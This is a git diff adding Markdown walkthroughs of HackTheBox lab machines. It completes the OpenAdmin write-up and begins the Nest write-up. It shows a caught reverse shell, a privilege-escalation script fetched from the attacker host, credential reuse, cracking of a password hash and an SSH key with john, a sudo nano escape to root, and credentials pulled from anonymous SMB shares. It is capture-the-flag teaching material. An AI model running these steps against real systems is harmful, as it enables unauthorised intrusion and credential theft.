4443 ... + connect to [10.10.14.13] from (UNKNOWN) [10.10.10.171] 43106 + bash: cannot set terminal process group (1077): Inappropriate ioctl for device + bash: no job control in this shell + www-data@openadmin:/opt/ona/www$ id + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + + +Now let's upgrade our shell to a fully interactive TTY: + + + www-data@openadmin:/opt/ona/www$ which python python3 + which python python3 + /usr/bin/python3 + + www-data@openadmin:/opt/ona/www$ python3 -c 'import pty;pty.spawn("/bin/bash")' + $ python3 -c 'import pty;pty.spawn("/bin/bash")' + + www-data@openadmin:/opt/ona/www$ ^Z + [1] + 3470018 suspended nc -lvnp 4443 + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → stty raw -echo ; fg + [1] + 3470018 continued nc -lvnp 4443 + www-data@openadmin:/opt/ona/www$ export TERM=screen-256color + www-data@openadmin:/opt/ona/www$ export SHELL=bash + www-data@openadmin:/opt/ona/www$ stty rows 40 columns 125 + www-data@openadmin:/opt/ona/www$ reset + + +Let's see which users we can privesc to: + + + www-data@openadmin:/opt/ona/www$ cat /etc/passwd | grep bash + root:x:0:0:root:/root:/bin/bash + jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash + joanna:x:1001:1001:,,,:/home/joanna:/bin/bash + www-data@openadmin:/opt/ona/www$ ls -lashR /home + /home: + total 16K + 4.0K drwxr-xr-x 4 root root 4.0K Nov 22 2019 . + 4.0K drwxr-xr-x 24 root root 4.0K Nov 21 2019 .. + 4.0K drwxr-x--- 5 jimmy jimmy 4.0K Nov 22 2019 jimmy + 4.0K drwxr-x--- 6 joanna joanna 4.0K Nov 28 2019 joanna + ls: cannot open directory '/home/jimmy': Permission denied + ls: cannot open directory '/home/joanna': Permission denied + + + +To enumerate this box automatically we can use linpeas.sh: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → locate linpeas.sh + /home/nothing/HTB/Postman/linpeas.sh + /home/nothing/HTB/Traverxec/linpeas.sh + /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → cp /home/nothing/Tools/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh . + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + www-data@openadmin:/opt/ona/www$ which wget curl + /usr/bin/wget + /usr/bin/curl + www-data@openadmin:/opt/ona/www$ wget http://10.10.14.13:9090/linpeas.sh -O /tmp/peas.sh + --2021-05-27 06:39:01-- http://10.10.14.13:9090/linpeas.sh + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: '/tmp/peas.sh' + + /tmp/peas.sh 100%[====================================================>] 333.85K 695KB/s in 0.5s + + 2021-05-27 06:39:02 (695 KB/s) - '/tmp/peas.sh' saved [341863/341863] + + www-data@openadmin:/opt/ona/www$ chmod +x /tmp/peas.sh + www-data@openadmin:/opt/ona/www$ /tmp/peas.sh + + + +` ![](prg/41_002.png) + +Linpeas gives alot of output, one thing that stands out is the following: + +![](prg/41_003.png) + +OpenNetAdmin has a database settings php file in **/var/www/html/ona/local/config/database_settings.inc.php** + + + www-data@openadmin:/opt/ona/www$ cd /var/www/html/ona/local/config + www-data@openadmin:/var/www/html/ona/local/config$ ls -lash + total 16K + 4.0K drwxrwxr-x 2 www-data www-data 4.0K Nov 21 2019 . + 4.0K drwxrwxr-x 5 www-data www-data 4.0K Jan 3 2018 .. + 4.0K -rw-r--r-- 1 www-data www-data 426 Nov 21 2019 database_settings.inc.php + 4.0K -rw-rw-r-- 1 www-data www-data 1.2K Jan 3 2018 motd.txt.example + 0 -rw-r--r-- 1 www-data www-data 0 Nov 21 2019 run_installer + www-data@openadmin:/var/www/html/ona/local/config$ vim database_settings.inc.php + + + + +And here we see some hardcoded credentials: + + + <****?php + + $ona_contexts=array ( + 'DEFAULT' => + array ( + 'databases' => + array ( + 0 => + array ( + 'db_type' => 'mysqli', + 'db_host' => 'localhost', + 'db_login' => 'ona_sys', + 'db_passwd' => 'n1nj4W4rri0R!', + 'db_database' => 'ona_default', + 'db_debug' => false, + ), + ), + 'description' => 'Default data context', + 'context_color' => '#D3DBFF', + ), + ); + + ?****> + +And as it turns out, those were jimmy's credentials! + + + [ 10.10.14.13/23 ] [ /dev/pts/13 ] [~/HTB/OpenAdmin] + → ssh jimmy@10.10.10.171 + The authenticity of host '10.10.10.171 (10.10.10.171)' can't be established. + ECDSA key fingerprint is SHA256:loIRDdkV6Zb9r8OMF3jSDMW3MnV5lHgn4wIRq+vmBJY. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.171' (ECDSA) to the list of known hosts. + jimmy@10.10.10.171's password: + Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Thu May 27 07:04:20 UTC 2021 + + System load: 0.0 Processes: 121 + Usage of /: 49.3% of 7.81GB Users logged in: 0 + Memory usage: 29% IP address for ens160: 10.10.10.171 + Swap usage: 0% + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + + 41 packages can be updated. + 12 updates are security updates. + + + Last login: Thu Jan 2 20:50:03 2020 from 10.10.14.3 + jimmy@openadmin:~$ id + uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal) + jimmy@openadmin:~$ ls + jimmy@openadmin:~$ ls -lash + total 32K + 4.0K drwxr-x--- 5 jimmy jimmy 4.0K Nov 22 2019 . + 4.0K drwxr-xr-x 4 root root 4.0K Nov 22 2019 .. + 0 lrwxrwxrwx 1 jimmy jimmy 9 Nov 21 2019 .bash_history -> /dev/null + 4.0K -rw-r--r-- 1 jimmy jimmy 220 Apr 4 2018 .bash_logout + 4.0K -rw-r--r-- 1 jimmy jimmy 3.7K Apr 4 2018 .bashrc + 4.0K drwx------ 2 jimmy jimmy 4.0K Nov 21 2019 .cache + 4.0K drwx------ 3 jimmy jimmy 4.0K Nov 21 2019 .gnupg + 4.0K drwxrwxr-x 3 jimmy jimmy 4.0K Nov 22 2019 .local + 4.0K -rw-r--r-- 1 jimmy jimmy 807 Apr 4 2018 .profile + + +So now we can access the **/var/www/internal** directory: + + + jimmy@openadmin:/var/www/internal$ ls -lash + total 20K + 4.0K drwxrwx--- 2 jimmy internal 4.0K Nov 23 2019 . + 4.0K drwxr-xr-x 4 root root 4.0K Nov 22 2019 .. + 4.0K -rwxrwxr-x 1 jimmy internal 3.2K Nov 22 2019 index.php + 4.0K -rwxrwxr-x 1 jimmy internal 185 Nov 23 2019 logout.php + 4.0K -rwxrwxr-x 1 jimmy internal 339 Nov 23 2019 main.php + jimmy@openadmin:/var/www/internal$ cat /etc/apache2/sites-enabled/ + internal.conf openadmin.conf + jimmy@openadmin:/var/www/internal$ cat /etc/apache2/sites-enabled/internal.conf + Listen 127.0.0.1:52846 + + + ServerName internal.openadmin.htb + DocumentRoot /var/www/internal + + + AssignUserID joanna joanna + + + ErrorLog ${APACHE_LOG_DIR}/error.log + CustomLog ${APACHE_LOG_DIR}/access.log combined + + + + +The /var/www/internal/ directory is being used by the apache2 site whose configuration is at /etc/apache2/sites-enabled/internal.conf And it seems to be running on the machine's localhost port **52846** , No need to view the page itself because we have access to it's php sourcecode: + + + jimmy@openadmin:/var/www/internal$ cat index.php | grep password + .form-signin input[type="password"] { + if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) { + if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') { + $msg = 'Wrong username or password.'; + + +So here we get a hashed password, so let's crack it with john: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → cat pass.hashed.txt + 00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1 + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → hash-identifier + ######################################################################### + # __ __ __ ______ _____ # + # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # + # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # + # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # + # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # + # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # + # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 # + # By Zion3R # + # www.Blackploit.com # + # Root@Blackploit.com # + ######################################################################### + -------------------------------------------------- + HASH: 00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1 + + Possible Hashs: + [+] SHA-512 + [+] Whirlpool + + Least Possible Hashs: + [+] SHA-512(HMAC) + [+] Whirlpool(HMAC) + -------------------------------------------------- + + + +We get hinted that this is a SHA512 hash, so let's crack it using john and rockyou.txt + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → john pass.hashed.txt --format=Raw-SHA512 --wordlist=/usr/share/wordlists/rockyou.txt --rules=Jumbo + Using default input encoding: UTF-8 + Loaded 1 password hash (Raw-SHA512 [SHA512 256/256 AVX2 4x]) + Warning: poor OpenMP scalability for this hash type, consider --fork=4 + Will run 4 OpenMP threads + Press 'q' or Ctrl-C to abort, almost any other key for status + + Revealed (?) + + 1g 0:00:00:02 DONE (2021-05-27 09:06) 0.4504g/s 6963Kp/s 6963Kc/s 6963KC/s Rey428..Reesenme + Use the "--show" option to display all of the cracked passwords reliably + Session completed + + + +And we get the password 'Revealed'! So let's create a ssh tunnel to the box to view the internal website: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/OpenAdmin] + → ssh jimmy@10.10.10.171 + jimmy@10.10.10.171's password: n1nj4W4rri0R! + Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Thu May 27 08:16:54 UTC 2021 + + System load: 0.0 Processes: 118 + Usage of /: 49.3% of 7.81GB Users logged in: 1 + Memory usage: 29% IP address for ens160: 10.10.10.171 + Swap usage: 0% + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + + 41 packages can be updated. + 12 updates are security updates. + + Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings + + + Last login: Thu May 27 07:04:21 2021 from 10.10.14.13 + jimmy@openadmin:~$ + + +Here you could create a SSH tunnel to get to the internal website like so: + + + jimmy@openadmin:~$ ssh -R 1337:127.0.0.1:52946 root@10.10.14.13 + + + +However there's a simpler method: + + + jimmy@openadmin:/var/www/internal$ curl localhost:52846/main.php + + + + -----BEGIN RSA PRIVATE KEY----- + Proc-Type: 4,ENCRYPTED + DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D + + kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8 + ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO + ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE + 6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ + ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du + y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI + 9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4 + piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/ + /U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH + 40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ + fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb + 9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80 + X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg + S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F + FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh + Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa + RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z + uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr + 1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2 + XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79 + yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM + +4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt + qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt + z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe + K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN + -----END RSA PRIVATE KEY----- + + +### Don't forget your "ninja" password + +Click here to logout [Session](logout.php) + +And we have an encrypted ssh key! so let's crack it: + + + [ 10.10.14.13/23 ] [ /dev/pts/16 ] [~/HTB/OpenAdmin] + → vim id_rsa + + [ 10.10.14.13/23 ] [ /dev/pts/16 ] [~/HTB/OpenAdmin] + → file id_rsa + id_rsa: PEM RSA private key + + [ 10.10.14.13/23 ] [ /dev/pts/16 ] [~/HTB/OpenAdmin] + → locate ssh2john + /usr/share/john/ssh2john.py + + [ 10.10.14.13/23 ] [ /dev/pts/16 ] [~/HTB/OpenAdmin] + → /usr/share/john/ssh2john.py id_rsa > id_rsa.hash + + [ 10.10.14.13/23 ] [ /dev/pts/16 ] [~/HTB/OpenAdmin] + → john id_rsa.hash -w=/usr/share/wordlists/rockyou.txt + Using default input encoding: UTF-8 + Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) + Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes + Cost 2 (iteration count) is 1 for all loaded hashes + Will run 4 OpenMP threads + Note: This format may emit false positives, so it will keep trying even after + finding a possible candidate. + Press 'q' or Ctrl-C to abort, almost any other key for status + bloodninjas (id_rsa) + Warning: Only 2 candidates left, minimum 4 needed for performance. + 1g 0:00:00:02 DONE (2021-05-27 10:16) 0.3496g/s 5014Kp/s 5014Kc/s 5014KC/sa6_123..*7¡Vamos! + Session completed + + [ 10.10.14.13/23 ] [ /dev/pts/16 ] [~/HTB/OpenAdmin] + → chmod 600 id_rsa + + [ 10.10.14.13/23 ] [ /dev/pts/16 ] [~/HTB/OpenAdmin] + → ssh joanna@10.10.10.171 -i id_rsa + Enter passphrase for key 'id_rsa': + Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + System information as of Thu May 27 08:24:40 UTC 2021 + + System load: 0.0 Processes: 123 + Usage of /: 49.6% of 7.81GB Users logged in: 1 + Memory usage: 29% IP address for ens160: 10.10.10.171 + Swap usage: 0% + + + * Canonical Livepatch is available for installation. + - Reduce system reboots and improve kernel security. Activate at: + https://ubuntu.com/livepatch + + 41 packages can be updated. + 12 updates are security updates. + + Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings + + + Last login: Thu Jan 2 21:12:40 2020 from 10.10.14.3 + joanna@openadmin:~$ id + uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal) + joanna@openadmin:~$ ls + user.txt + joanna@openadmin:~$ cat user.txt + c9XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc to the root user, we run linpeas again: + + + [ 10.10.14.13/23 ] [ /dev/pts/12 ] [~/HTB/OpenAdmin] + → ls -lash linpeas.sh + 336K -rwxr-xr-x 1 nothing nothing 334K May 27 08:13 linpeas.sh + + [ 10.10.14.13/23 ] [ /dev/pts/12 ] [~/HTB/OpenAdmin] + → python3 -m http.server 9090 + + joanna@openadmin:~$ wget http://10.10.14.13:9090/linpeas.sh + --2021-05-27 08:26:50-- http://10.10.14.13:9090/linpeas.sh + Connecting to 10.10.14.13:9090... connected. + HTTP request sent, awaiting response... 200 OK + Length: 341863 (334K) [text/x-sh] + Saving to: ‘linpeas.sh’ + + linpeas.sh 100%[====================================================================================================================================================>] 333.85K 696KB/s in 0.5s + + 2021-05-27 08:26:50 (696 KB/s) - ‘linpeas.sh’ saved [341863/341863] + + joanna@openadmin:~$ chmod +x linpeas.sh + joanna@openadmin:~$ ./linpeas.sh + + + +` ![](prg/41_004.png) + +And here we see that joanna can run nano as the root user: + + + joanna@openadmin:~$ sudo -l + Matching Defaults entries for joanna on openadmin: + env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin + + User joanna may run the following commands on openadmin: + (ALL) NOPASSWD: /bin/nano /opt/priv + + + +Nano allows inserting external files into the current one using the shortcut CTRL+R, so let's do it: + + + joanna@openadmin:~$ sudo -u root /bin/nano /opt/priv + ^R + + +` ![](prg/41_005.png) + +Here we see that we can execute a command using CTRL+X, so we're going to get a shell using the following: + +![](prg/41_006.png) + +The shell gets a bit weird once you do it but it effectively spawns a root shell as intended: + +![](prg/41_007.png) + + + Command to execute: reset; sh 1>&0 2>&0# id + uid=0(root) gid=0(root) groups=0(root) ^X Read File + # cat /root/root.txt M-F New Buffer + 2fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We managed to get a root shell and print the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/41_graph.png) + diff --git a/Easy/42.md b/Easy/42.md new file mode 100644 index 0000000..b1e5b47 --- /dev/null +++ b/Easy/42.md @@ -0,0 +1,886 @@ +# Nest Writeup + +![](img/42.png) + +## Introduction : + +Nest is an easy windows box released back in january 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [Nextcloud/blog] + → sudo nmap -vvv -p- 10.10.10.178 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + [sudo] password for nothing: + Discovered open port 445/tcp on 10.10.10.178 + Discovered open port 4386/tcp on 10.10.10.178 + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [Nextcloud/blog] + → nmap -sCV -p445,4386 10.10.10.178 -Pn + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-28 08:30 CEST + Nmap scan report for 10.10.10.178 + Host is up (0.032s latency). + + PORT STATE SERVICE VERSION + 445/tcp open microsoft-ds? + 4386/tcp open unknown + | fingerprint-strings: + | DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, X11Probe: + | Reporting Service V1.2 + | FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest, SIPOptions: + | Reporting Service V1.2 + | Unrecognised command + | Help: + | Reporting Service V1.2 + | This service allows users to run queries against databases using the legacy HQK format + | AVAILABLE COMMANDS --- + | LIST + | SETDIR <****Directory_Name> + | RUNQUERY <****Query_ID> + | DEBUG <****Password> + |_ HELP <****Command> + 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : + SF-Port4386-TCP:V=7.91%I=7%D=5/28%Time=60B08DFE%P=x86_64-pc-linux-gnu%r(NU + SF:LL,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(GenericLin + SF:es,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognise + SF:d\x20command\r\n>")%r(GetRequest,3A,"\r\nHQK\x20Reporting\x20Service\x2 + SF:0V1\.2\r\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(HTTPOptions,3A,"\r\ + SF:nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20comma + SF:nd\r\n>")%r(RTSPRequest,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\ + SF:n\r\n>\r\nUnrecognised\x20command\r\n>")%r(RPCCheck,21,"\r\nHQK\x20Repo + SF:rting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSVersionBindReqTCP,21,"\r\nHQK + SF:\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(DNSStatusRequestTCP,21," + SF:\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Help,F2,"\r\nHQK\ + SF:x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nThis\x20service\x20allows\ + SF:x20users\x20to\x20run\x20queries\x20against\x20databases\x20using\x20th + SF:e\x20legacy\x20HQK\x20format\r\n\r\n---\x20AVAILABLE\x20COMMANDS\x20--- + SF:\r\n\r\nLIST\r\nSETDIR\x20 <****Directory_Name>\r\nRUNQUERY\x20 <****Query_ID>\r\ + SF:nDEBUG\x20 <****Password>\r\nHELP\x20 \r\n>")%r(SSLSessionReq,21,"\r + SF:\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServerCooki + SF:e,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(TLSSessionR + SF:eq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(Kerberos,2 + SF:1,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(SMBProgNeg,21, + SF:"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(X11Probe,21,"\r\ + SF:nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>")%r(FourOhFourRequest,3A + SF:,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r\n\r\n>\r\nUnrecognised\x20 + SF:command\r\n>")%r(LPDString,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2 + SF:\r\n\r\n>")%r(LDAPSearchReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\. + SF:2\r\n\r\n>")%r(LDAPBindReq,21,"\r\nHQK\x20Reporting\x20Service\x20V1\.2 + SF:\r\n\r\n>")%r(SIPOptions,3A,"\r\nHQK\x20Reporting\x20Service\x20V1\.2\r + SF:\n\r\n>\r\nUnrecognised\x20command\r\n>")%r(LANDesk-RC,21,"\r\nHQK\x20R + SF:eporting\x20Service\x20V1\.2\r\n\r\n>")%r(TerminalServer,21,"\r\nHQK\x2 + SF:0Reporting\x20Service\x20V1\.2\r\n\r\n>"); + + Host script results: + |_clock-skew: 7m38s + | smb2-security-mode: + | 2.02: + |_ Message signing enabled but not required + | smb2-time: + | date: 2021-05-28T06:40:33 + |_ start_date: 2021-05-28T06:32:49 + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 198.72 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 445 so let's investigate it: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [Nextcloud/blog] + → smbclient -L \\\\10.10.10.178 + Enter WORKGROUP\nothing's password: + + Sharename Type Comment + --------- ---- ------- + ADMIN$ Disk Remote Admin + C$ Disk Default share + Data Disk + IPC$ IPC Remote IPC + Secure$ Disk + Users Disk + SMB1 disabled -- no workgroup available + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [Nextcloud/blog] + → smbmap -H 10.10.10.178 -u anonymous -r --depth 5 + [+] Guest session IP: 10.10.10.178:445 Name: 10.10.10.178 + Disk Permissions Comment + ---- ----------- ------- + ADMIN$ NO ACCESS Remote Admin + C$ NO ACCESS Default share + Data READ ONLY + .\Data\* + dr--r--r-- 0 Thu Aug 8 00:53:46 2019 . + dr--r--r-- 0 Thu Aug 8 00:53:46 2019 .. + dr--r--r-- 0 Thu Aug 8 00:58:07 2019 IT + dr--r--r-- 0 Mon Aug 5 23:53:41 2019 Production + dr--r--r-- 0 Mon Aug 5 23:53:50 2019 Reports + dr--r--r-- 0 Wed Aug 7 21:07:51 2019 Shared + IPC$ NO ACCESS Remote IPC + Secure$ NO ACCESS + Users READ ONLY + .\Users\* + dr--r--r-- 0 Sun Jan 26 00:04:21 2020 . + dr--r--r-- 0 Sun Jan 26 00:04:21 2020 .. + dr--r--r-- 0 Fri Aug 9 17:08:23 2019 Administrator + dr--r--r-- 0 Sun Jan 26 08:21:44 2020 C.Smith + dr--r--r-- 0 Thu Aug 8 19:03:29 2019 L.Frost + dr--r--r-- 0 Thu Aug 8 19:02:56 2019 R.Thompson + dr--r--r-- 0 Thu Aug 8 00:56:02 2019 TempUser + + +Here it looks like the Data sgare seems to be accessible anonymously. So we can recursively list the contents of that share using smbclient: + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [Nextcloud/blog] + → smbclient \\\\10.10.10.178\\Data + Enter WORKGROUP\nothing's password: + Try "help" to get a list of possible commands. + smb: \> recurse on + smb: \> ls + . D 0 Thu Aug 8 00:53:46 2019 + .. D 0 Thu Aug 8 00:53:46 2019 + IT D 0 Thu Aug 8 00:58:07 2019 + Production D 0 Mon Aug 5 23:53:38 2019 + Reports D 0 Mon Aug 5 23:53:44 2019 + Shared D 0 Wed Aug 7 21:07:51 2019 + + \IT + NT_STATUS_ACCESS_DENIED listing \IT\* + + \Production + NT_STATUS_ACCESS_DENIED listing \Production\* + + \Reports + NT_STATUS_ACCESS_DENIED listing \Reports\* + + \Shared + . D 0 Wed Aug 7 21:07:51 2019 + .. D 0 Wed Aug 7 21:07:51 2019 + Maintenance D 0 Wed Aug 7 21:07:32 2019 + Templates D 0 Wed Aug 7 21:08:07 2019 + + \Shared\Maintenance + . D 0 Wed Aug 7 21:07:32 2019 + .. D 0 Wed Aug 7 21:07:32 2019 + Maintenance Alerts.txt A 48 Tue Aug 6 01:01:44 2019 + + \Shared\Templates + . D 0 Wed Aug 7 21:08:07 2019 + .. D 0 Wed Aug 7 21:08:07 2019 + HR D 0 Wed Aug 7 21:08:01 2019 + Marketing D 0 Wed Aug 7 21:08:06 2019 + + \Shared\Templates\HR + . D 0 Wed Aug 7 21:08:01 2019 + .. D 0 Wed Aug 7 21:08:01 2019 + Welcome Email.txt A 425 Thu Aug 8 00:55:36 2019 + + \Shared\Templates\Marketing + . D 0 Wed Aug 7 21:08:06 2019 + .. D 0 Wed Aug 7 21:08:06 2019 + + smb: \> cd \Shared\Templates\HR + smb: \Shared\Templates\HR\> ls + . D 0 Wed Aug 7 21:08:01 2019 + .. D 0 Wed Aug 7 21:08:01 2019 + Welcome Email.txt A 425 Thu Aug 8 00:55:36 2019 + + 10485247 blocks of size 4096. 6543390 blocks available + + smb: \Shared\Templates\HR\> mget "Welcome Email.txt" + Get file Welcome Email.txt? y + getting file \Shared\Templates\HR\Welcome Email.txt of size 425 as Welcome Email.txt (3.2 KiloBytes/sec) (average 3.2 KiloBytes/sec) + + + [ 10.10.14.13/23 ] [ /dev/pts/1 ] [~/HTB/Nest] + → cat Welcome\ Email.txt + We would like to extend a warm welcome to our newest member of staff, + + You will find your home folder in the following location: + \\HTB-NEST\Users\ + + If you have any issues accessing specific services or workstations, please inform the + IT department and use the credentials below until all systems have been set up for you. + + Username: TempUser + Password: welcome2019 + + + Thank you + HR + + +Here we get credentials: **TempUser:welcome2019** So let's run smbmap once again to enumerate the shares: + + + [ 